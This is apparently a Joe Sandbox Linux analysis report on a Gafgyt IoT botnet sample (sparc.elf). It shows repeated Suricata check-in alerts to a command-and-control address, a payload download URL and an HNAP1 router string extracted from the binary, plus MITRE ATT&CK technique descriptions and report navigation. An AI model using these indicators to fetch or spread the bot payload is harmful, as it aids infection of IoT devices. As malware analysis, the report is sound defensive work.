Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53046 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53180 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53188 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53198 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53184 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53076 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53248 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53196 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53092 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53074 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53112 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53176 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53116 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53212 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53120 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53052 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53262 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53054 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53038 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53100 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53150 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53108 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53126 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53170 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53220 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53268 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53192 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53194 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53066 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53264 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53216 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53218 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53252 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53206 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53240 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53230 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53140 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53070 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53200 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53208 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53266 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53226 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53254 -> 212.64.199.97:65525
Source: Network traffic	Suricata IDS: 2848448 - Severity 1 - ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown) : 192.168.2.23:53228 -> 212.64.199.97:65525

Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97
Source: unknown	TCP traffic detected without corresponding DNS query: 212.64.199.97

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39258
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: sparc.elf	String found in binary or memory: http://212.64.199.97/Simps/mips
Source: sparc.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: sparc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sparc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sparc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Threatname: Gafgyt

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/Infected.log

/tmp/qemu-open.BYN6pd (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: sparc.elf PID: 6269, Parent PID: 6194

General

Chronological Activities

Analysis Process: sparc.elf PID: 6271, Parent PID: 6269

General

Chronological Activities

Analysis Process: sparc.elf PID: 6273, Parent PID: 6271

General

Chronological Activities

Analysis Process: dash PID: 6288, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6288, Parent PID: 4331

Linux Analysis Report
sparc.elf